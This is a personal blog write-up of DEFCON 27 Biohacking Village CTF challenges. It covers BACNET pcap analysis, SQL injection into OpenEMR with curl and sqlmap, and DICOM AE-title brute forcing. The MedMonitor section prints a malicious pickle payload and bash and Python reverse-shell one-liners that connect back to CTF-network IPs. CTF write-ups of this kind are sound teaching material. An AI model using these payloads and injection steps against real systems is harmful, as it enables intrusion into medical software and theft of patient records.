Skip to main content

How I got 2nd place in my first CTF ever

Β· 17 min read

This is a write-up of some of the challenges at the DEFCON 27 Biohacking Village CTF.

I didn't plan on joining a CTF, but I ended up getting sucked in and spending the next 2 days on it. The instant gratification of ranking on the scoreboard offered a better rush than any Las Vegas casino game. I ended up getting 2nd place, and considering I was completely unprepared, I'm very happy with it.

Despite meddling with the competitive programming world, this was my first CTF. I didn't keep notes in preparation of a write-up, and as such, this is a partial write-up of some of the most memorable challenges I solved. I go in detail on my thought process for solving some of these challenges, including any erroneous routes.

A CTF (Capture The Flag) is a competition, usually hosted at information security conferences. It's a set of challenges of increasing difficulty, across various skills (reverse engineering, crypto, network analysis, etc). Solving an individual challenge, means finding a β€œflag” 🚩 that's either the result of some computation, or hidden somewhere in a targeted system (software, hardware, hints hidden in the room). You can play alone, or you can form a team.

Following along

This post is meant for someone with engineering background, but with little knowledge of infosec or CTF particulars.

If you have some systems engineering background, you should be able to follow along my instructions--I have even made some Docker images for you to attack!

If you have any questions, {{< twitter-tweet-at-me >}}.

Biohacking Village at DEFCON

The CTF organizers at the Biohacking Village took a lot of time to build a fun theme that was welcoming to challengers of all levels, and the CTF theme was eminent throughout the Biohacking Village room. The imaginary St. Martin's Hospital was under attack in all kinds of ways--and the room was decorated like a hospital, complete with a pharmacy, all kinds of working medical devices, and even a gurney (that was part of a physical/puzzle challenge)! Contestants were kept on their toes for all 20 hours of the CTF, as challenges were unlocked gradually.

pcap challenges

Many of the first round challenges required a basic understanding of the underlying protocols, such as BACNET, and DICOM.

Several of the challenges provided you a Wireshark pcap file, and tasked you to identify specific interactions in the network--for example, the client name used during a DICOM authentication attempt, or the pcap index at which an attack first appeared.

Even if you had zero prior knowledge, looking around carefully in Wireshark along with some Google searches was sufficient to lead you to the right answer.

One of these challenges indicated that the flag was hidden in someone's BACNET authentication attempt--the provided pcap was Are_you_my_mother.pcapng. Go get Wireshark (or just brew cask install wireshark on your Mac) and use bacnet as a filter---you can try finding the flag too!

Some of the challenges exchanged traffic in non-standard ports--remembering to correctly map a custom port to a known protocol was essential to solving these challenges.

As these challenges were solved, more challenges were unlocked requiring SQL injection and reverse engineering skills.

Data Exfiltration via IoT Lights

Introduction​

My favorite challenge was the "Light Exfil" challenge. The task prompt read:

A malicious actor has gained access to the hospital’s networks. Using the lighting system, the attacker is exfiltrating data by slightly fluctuating the lighting brightness and collecting the data with a phototransistor directed at an external window from the adjacent parking structure. The attached pcap file is a small portion of the stolen data. You have to determine the binary data which was exfiltrated.

Answer the question below to demonstrate an understanding of the attack.

What ASCII data are they trying to exfil through the lights?

This is very similar to some of the airgap-jumping exflitration attacks described by Mordechai Guri.

A Wireshark pcap file was provided for analysis: bacnetlightingxfil.pcap.

Go get Wireshark (or just brew cask install wireshark on your Mac) and follow along! C'mon!

By opening the pcap file in Wireshark and filtering for bacnet, I was greeted with 1590 packets:

{{< image src="bacnetlightingxfil-screencap1.png" >}}

Identifying the signal​

By scrolling around, I noticed a handful of writeProperty and confirmedPrivateTransfer packets standout among all the read operations.

To filter only for the requests (Confirmed-REQs, as opposed to Simple-ACKs), and then consecutively for writeProperty and confirmedPrivateTransfer I used these filters:

  • (bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 18)
  • (bacnet) && (bacapp.type == 0) && (bacapp.confirmed_service == 15)

The results were interesting:

  • confirmedPrivateTransfer (confirmed_service == 18) yielded 84 packets
  • writeProperty (confirmed_service == 15) yielded 32 packets
    • 32 happens to represent 4 bytes in binary
    • A bit short for a flag, but not impossible, especially if the CTF author intended for this to be solved by hand.

Furthermore, some research into controlling lights via BACNET indicated writeProperty would be indeed how you'd fluctuate brightness. However, at this point, I wasn't entirely certain writeProperty was the right path.

I couldn't find a trivial way to export the values from Wireshark, and in trying to plan for a future where I had to decode the confirmedPrivateTransfer packets, I cooked up a Python script utilizing pyshark to work with the pcap file.

Running

#!/usr/local/bin/python3

import binascii
import pyshark

set_brightness_cap = pyshark.FileCapture('bacnetlightingxfil.pcap',
display_filter='bacnet && (bacapp.confirmed_service == 15) && (bacapp.type == 0)'
)

vals = [ int(packet.bacapp.present_value_real) for packet in set_brightness_cap ]

print("\t".join(map(str, vals)))

yielded:

90  89  100 99  90  89  100 90  89  90  100 99  90  89  90  89  90  89  100 99  90  89  90  100 90  89  100 99  100 90  89  100

This seems very promising! At first hand, the existence of 4 digits (89, 90, 99, 100) went against my expectations for a binary encoding scheme, so I plotted the values:

{{< image src="bacnetlightingxfil-plot.png" >}}

Decoding the signal​

I lost some time considering alternative encodings, such as ternary encodings, because 4 bytes for a flag seemed too small. πŸ”‘ Keep It Simple Stupid and iterating through your assumptions was key here.

Using multiple brightnesses for each binary digit would make sense. It'd be easier for a photoresistor to detect a change in brightness than to precisely count how many seconds of 100 brightness it saw.

There is some obvious grouping in the values above---using 95 as a threshold, we translate them to binary digits:

encoded_bits = [ 1 if x>95 else 0 for x in vals ]

And then we convert the binary to ASCII with:

n = int('0b%s' % "".join(map(str, encoded_bits)), 2)
res = binascii.unhexlify('%x' % n)
print(res)

which yields:

b'2019'

2019 was indeed the flag 🚩, which got me another 200 points πŸŽ‰!

OpenEMR (SQL Injection)

Introduction & how to follow along​

Another challenge involved reproducing data exfiltration from an OpenEMR instance. The prompt was clear on what the flag was--a patient's social security number. Contestants were given access to a shared OpenEMR installation on the CTF's local network.

To follow along:

A quick aside, for you πŸ’»πŸ±s: if you want to follow along, you can quickly bring up a vulnerable OpenEMR I made for you at at http://localhost:8666/ via Docker by running:

git clone https://gitlab.com/ianatha/vulnerable-openemr.git && cd vulnerable-openemr && docker-compose up

This isn't the same OpenEMR used at the CTF, but it's sufficiently vulnerable to follow along my methodology here. The instructions here refer to the vulnerable OpenEMR my Docker image provides at localhost:8666 so you can follow along.

Looking through the Docker image instructions reveals passwords. The idea is to treat the instantiated Docker container as a black box, accessible only over the network.

Let's learn about a bit about the tooling and the thinking behind taking advantage an SQL injection vulnerability!

Looking for a way in​

A quick search revealed that many listed vulnerabilities exist for OpenEMR (and it's written in PHP).

I tried some default usernames and passwords (admin/pass and the like), but that didn't seem to work. Talking with the CTF designers later on, I learned that were were other defaultish accounts (such as clinician with default passwords), which could have simplified this task, without resorting to SQL injection.

Next up, it was important to identify the exact version of OpenEMR the CTF environment was using. OpenEMR is open-source, so I cloned their repo, and looked around for interesting files that could disclose a version string. admin.php and setup.php stood out.

admin.php indeed disclosed what version of OpenEMR the CTF was running, which helped me find known vulnerabilities.

{{< image src="openemr-1.png" >}}

CVEDetails.com lists many remotely-exploitable no-authentication-needed vulnerabilities.

I spent sometime looking into the pull request that fixed an SQL injection vulnerability in interface/forms/eye_mag/save.php. It seemed feasible, but the execution path to trigger the vulnerability had a variety of variables that needed to be set.

I looked for different SQL injection vulnerabilities, and a CVE of multiple SQL injections and authentication bypasses, CVE-2018-15152, stood out. The portal/add_edit_event_user.php patch seemed particularly interesting, because it wasn't in nested ifs, and little code preceded it---this meant triggering the faulty code-path should be easier.

The vulnerability I'm trying to take advantage is this:careless code in portal/add_edit_event_user.php injects whatever eid input I give it into SQL code that's sent to the database, without any escaping. This means that a carefully crafted eid input can cause the MySQL server to execute code that it thinks is coming from the application.

Let's try to exploit that!

Running curl -v http://localhost:8666/portal/add_edit_event_user.php redirects us to an authentication page 😟.

< HTTP/1.1 302 Found
< Set-Cookie: PHPSESSID=4a927fc0c27b0c4ecb48f9962deb2d66; path=/
< Location: index.php?site=&w
[...]

At this point, I decided to clone OpenEMR at the commit right before they fixed the vulnerability: git clone https://github.com/openemr/openemr.git && cd openemr && git checkout f5310b22bb14c58063aecb1cad4655e885eba275.

The vulnerable code at line 26 requires for the pid (I'm guessing patient id) variable to be set in the session, before the rest of the code is executed. To successfully leverage eid's vulnerability, we need to have a pid set in the session. Session variables are usually set by server-side code, so...

I ran grep -Ri "_SESSION\['pid'\] =" * in openemr/portal to see where this pid gets set:

account/register.php:$_SESSION['pid'] = true;
get_patient_info.php: $_SESSION['pid'] = $auth['pid'];
index.php: $_SESSION['pid'] = true;

account/register.php seems like a very interesting possibility. Let's just try going to portal/account/register.php, keeping the session cookie, and then going to portal/add_edit_event_user.php`:

curl --cookie-jar gimmepid.cookies -v http://localhost:8666/portal/account/register.php
curl --cookie gimmepid.cookies -v http://localhost:8666/portal/add_edit_event_user.php

Success πŸ‘! The last curl call returned a bunch of HTML, which looks like a user interface for editing an appointment! We've bypassed the minimal authentication check in add_edit_event_user.php!

Let's make sure that eid is indeed injectable by injecting some bad SQL: curl --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=\':

Query Error

ERROR: query failed: SELECT pc_facility, pc_multiple, pc_aid, facility.name
FROM openemr_postcalendar_events
LEFT JOIN facility ON (openemr_postcalendar_events.pc_facility = facility.id)
WHERE pc_eid = '--Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''--' at line 4/var/www/localhost/htdocs/openemr/portal/add_edit_event_user.php at 121:sqlQuery

Sweet! Not only does our input, eid, make it directly to the MySQL server, but we have a direct view of the error the MySQL server returns. This will make things a lot easier! We now have a legitimate way into the database!

Discovering sqlmap​

At this point of time, I was trying things manually, using curl. I eventually discovered sqlmap which is an automatic SQL injection and database takeover tool. It greatly helped with the next stage!

For sqlmap to work, it needs an example request to attempt SQL injections against. The request we generated via curl above will do, but we need it in a file. There are easier ways to do this, but I just ran curl -v --cookie gimmepid.cookies http://localhost:8666/portal/add_edit_event_user.php\?eid\=1 2>&1 | grep "^>" and trimmed the > prefix. The resulting eidinject.req file looked like this:

GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: localhost:8666
Accept: */*
Cookie: PHPSESSID=7c843b79daa05ad988fc7911e25d2812

Finding the flag​

An invocation of sqlmap eidinject.req --threads=10 --tables quickly revealed that eid is easily injectable to a MySQL server, with some very interesting table names. The task was clear that we needed to find a specific patient's social security number, which seems to be stored in the ss column in patient_data.

To retrieve it: sqlmap -r eidinject.req --threads=10 -D openemr -T patient_data --dump. (Try following along with the Docker image---I hid an SSN in the database).

{{< image src="openemr-2.png" >}}

MedMonitor

Another interesting challenge involved "MedMonitor", a custom webapp that tracked patient's data from medical devices. It was written in Python with a Microsoft SQL backend, and the source code of the app was shared in the CTF: MedMonitor.py

The challenge was broken into 3 parts--the last part involved reverse engineering a medical device's firmware, I didn't get to it, and it won't be covered here.

Part 1 - SQL Injection without verbose errors​

The first task of the challenge directed you to find some data hidden in the webapp's database. It was another SQL injection task, although this time the errors returned by the webapp weren't as detailed, so queries were a bit harder to execute. The key SQL injection point was the New Patient form.

sqlmap seemed to be extracting data character-by-character, and I felt like I didn't have time to go through its documentation. I realized that a way to exflitrate data would be to do SELECT queries, have their result be a single string, and have that used as the New Patient's name, SSN, etc.

After some scrambling with Microsoft SQL-specific queries, I eventually discovered a table called flag with something flag-like in it. When I submitted it the system rejected it, and I got extremely anxious. I was very certain that this was the flag, so I alerted the CTF organizers who fixed a configuration error, and asked me to resubmit the flag. 🚩 150 more points!

Part 2 - Remote Code Execution​

This part was more interesting than the last one. The flag was somewhere in the filesystem, and the webapp's source code was known. I took a look at the entirety of the shared source code, and noticed that the import pickle. Unpickling user-supplied values in Python can cause remote code execution, because the the unpickling protocol can encode any Python operation, not just values!

An abbreviated medmonitor.py that just unpickles user-supplied input, without needing to access a Microsoft SQL server is:

{{< gist ianatha 26d2860543af7c114e1a692f444ca78c >}}

(You can follow along by downloading this and running it!)

Our task now becomes to start a reverse shell using that ingress vector.

I had a lot of trouble with this--- although some "bombs" (carefully crafted data to cause the unpickling process to do something to the system) worked locally, when I tried applying to the CTF environment they'd fail. Not having any kind of verbose error output made this very difficult.

My initial goal was to run bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1 which would cause a bash session on the MedMonitor server to be forwarded to me.

Using some random blog as a reference I hand crafted a pickle that would execute os.system("bash -i >& /dev/tcp/my_ip_in_the_ctf_network/8888 0>&1").

This was failing, and I'm assuming it's because the MedMonitor server was running in Docker, or something with a limited /dev device tree.

Since the webapp is in Python, for a while I tried causing Python to start a remote shell by causing it to execute:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.123",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

However, I couldn't find a trivial way to import custom classes in the pickle protocol, so I resorted to causing the pickle to run os.system with python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'.

The pickle for that is:

cos
system
(S'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.218",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.

While I was iterating through the pickle bomb, I wrote a quick Python script to submit it:

import requests
import base64

data = open("bomb.pickle", "r").read()
encoded = base64.b64encode(data)
PARAMS={
'token': encoded,
'patient_name': "test",
'patient_data': "lol"
}
# r = requests.get("http://192.168.0.4:41847/register_patient", params = PARAMS)
r = requests.get("http://localhost:5001/register_patient", params = PARAMS)

Using the aforementioned picklebomb I was able to start a reverse shell to my machine. A file at /flag/flag.txt was the obvious place to look for a flag! 🚩 200 more points!

DICOM Authentication Challenge

In this task, you were confronted with an insecurely configured PACS server (Orthanc, in particular), and you were asked to prove it's vulnerable by finding the Referring Physician's Name for a patient study.

πŸ’‘Attending other events by the CTF organizers can be useful! In one of the workshops one of CTF organizers held, many DICOM weaknesses were discussed.

At the workshop I learned that DICOM authentication is very weak--it only depends on knowing the server name (Application Entity Title, or AE Title, or AET) and the client name (Client AE Title).

The task prompt included a pentest report, which included several hints. The first was that the PACS server's uses a predictable AET, and that the server's name is hippocrates.

This made me suspect that the Server AET was a variation of hippocrates, so I used the git version of ncrack to try out some obvious variations. This was something I learned to do just a day before, by attending a workshop held by one of the CTF organizers, @ithilgore!

Having confirmed that the Server AET is indeed hippocrates, the next step would be to brute-force the Client AET, and extract the Referring Physician's Name.

The skeleton for this code was worked on during the aforementioed workshop, and it ended up looking like this:

A big portion of making this code work was around making it multi-threaded with timeouts, because in case of a failed authentication pydicom times out after several seconds, instead of returning immediately with an authentication error.

My strategy was to run my script in iterations, with a limited alphabet---all uppercase, all lowercase, combination of these, and then numbers. This seemed to map the most likely formats of hostnames.

It was a winning strategy, because after a short whole of running with only uppercase, I discovered that an acceptable Client AET was BRAD. Not a random name... this was the name of the IT person who insecurely configured the PACS server to begin with, and it was mentioned several times in the pentest report 😐.

πŸ’‘ Reminder for next time: try obvious values, and read between the lines of the CTF artifacts better.

Recap

Ultimately, I ranked 2nd, behind a very talented team of four pentesters from a Big Four firm.

{{< tweet 1160757264614973447 >}}

The winners won a BladeRF XA4 and eternal bragging rights! Congratulations again!

  • Things going for me
    • Prior knowledge of BACNET protocol
    • Attending a Biohacking Village workshop, and learning a bit about DICOM before the CTF
    • Having friends in the room
  • Things against me and ways to improve it
    • Slow connection to the CTF network
      • An Ethernet adapter for my USB-C-only MacBook would've helped
    • Slow connection to the Internet
      • Hotspot in a setup that allows concurrent access to CTF network and Internet
    • Team of one
      • Recruit folks ahead of time
    • No strategy
      • πŸ’‘ Withhold flags until key points of time (end of each day, end of the CTF) to induce complacency in other teams
    • Getting coffee, or anything to drink took forever
      • Bring a six-pack of Red Bull

Thank you to @DC_BHV, @ithilgore, @DaniloNC, @beauwoods, and all the organizers for this year's Biohacking Village, and the awesome CTF!

{{< twitter-follow >}} for more interesting stories on infosec!